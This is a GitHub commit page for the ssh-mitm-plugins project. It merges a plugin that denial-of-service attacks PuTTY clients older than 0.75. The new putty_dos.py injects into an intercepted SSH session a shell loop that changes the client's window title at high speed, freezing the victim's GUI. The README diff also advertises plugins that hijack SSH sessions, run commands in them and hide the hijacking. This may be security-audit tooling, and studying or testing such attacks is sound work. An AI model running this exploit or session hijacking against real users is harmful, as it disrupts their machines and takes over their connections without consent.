Skip to content

Commit 81fc167

Browse files
Merge pull request #11 from JakobJBauer/main
Added DoS Attack on Putty < v0.75 clients
2 parents da2186e + c9f0d39 commit 81fc167

File tree

5 files changed

+38
-9
lines changed

5 files changed

+38
-9
lines changed

README.md

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,11 @@ Installing the ssh-mitm server including these plugins is very simple:
1616

1717
$ pip install ssh-mitm-plugins
1818

19+
Alternatively, ssh-mitm-plugins is featured as an optional dependency in the ssh-mitm package.
20+
Installation can occur through:
21+
22+
$ pip install ssh-mitm[plugins]
23+
1924
The current version of the ssh-mitm server will be installed and additional advanced features
2025
will be available through these plugins. The ssh-mitm server will operate normally as described
2126
by the [ssh-mitm project](#ssh-mitm).
@@ -25,7 +30,8 @@ by the [ssh-mitm project](#ssh-mitm).
2530
Following advanced features will be made available through the modular runtime compilation of
2631
the ssh-mitm server.
2732

28-
#### SSH
33+
#### SSH
34+
* injectorshell - a way to hijack a ssh session and execute commands on an separated shell
2935
* stealthshell - improving on the *injectorshell*, this ssh interface will
3036
make hijacking of a ssh session undetectable
3137
* scriptedshell - perfect for security audits and information gathering, this ssh interface executes

docs/index.rst

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,3 @@
1-
.. SSH-MITM Plugins documentation master file, created by
2-
sphinx-quickstart on Tue Feb 23 09:35:30 2021.
3-
You can adapt this file completely to your liking, but it should at least
4-
contain the root `toctree` directive.
5-
61
SSH-MITM Plugins Documentation
72
============================================
83

docs/start.rst

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
Start
22
======
33

4-
With version 0.4.0 the [ssh-mitm](http://ssh-mitm.at/) projects locks the features
4+
With version 0.4.0 the `ssh-mitm <http://ssh-mitm.at/>`_ projects locks the features
55
shipping with the core functionality of the program.
66
It is now preferred that any additions to the
77
feature-set is made through the modular capabilities that the ssh-mitm project is built upon. Using
88
entrypoints in combination with modules anyone can make their own ssh-mitm plugins.
99

1010
Here you will find detailed feature-oriented documentation of the creators
11-
additions to the ssh-mitm project.
11+
additions to the ssh-mitm project.

ssh_mitm_plugins/__entrypoints__.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22
'SSHBaseForwarder': [
33
'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder',
44
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHStealthForwarder',
5-
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder'
5+
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder',
6+
'puttydos = ssh_mitm_plugins.ssh.putty_dos:SSHPuttyDoSForwarder'
67
],
78
'SCPBaseForwarder': [
89

ssh_mitm_plugins/ssh/putty_dos.py

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
from ssh_proxy_server.forwarders.ssh import SSHForwarder
2+
3+
4+
class SSHPuttyDoSForwarder(SSHForwarder):
5+
"""PuTTY < 0.75: DoS on Windows/Linux clients
6+
7+
Security fix: a server could DoS the whole Windows/Linux GUI by telling
8+
the PuTTY window to change its title repeatedly at high speed.
9+
10+
PuTTY-Changelog: https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html
11+
"""
12+
13+
def __init__(self, session):
14+
super().__init__(session)
15+
self.exploit = [
16+
"PS1=''",
17+
"while :",
18+
"do",
19+
"echo -ne '\\033]0: NEW_TITLE${RANDOM} \\007'",
20+
"done"
21+
]
22+
self.executed = False
23+
24+
def forward_extra(self):
25+
if not self.executed:
26+
self.server_channel.sendall('\n'.join(self.exploit) + '\n')
27+
self.executed = True

0 commit comments

Comments
 (0)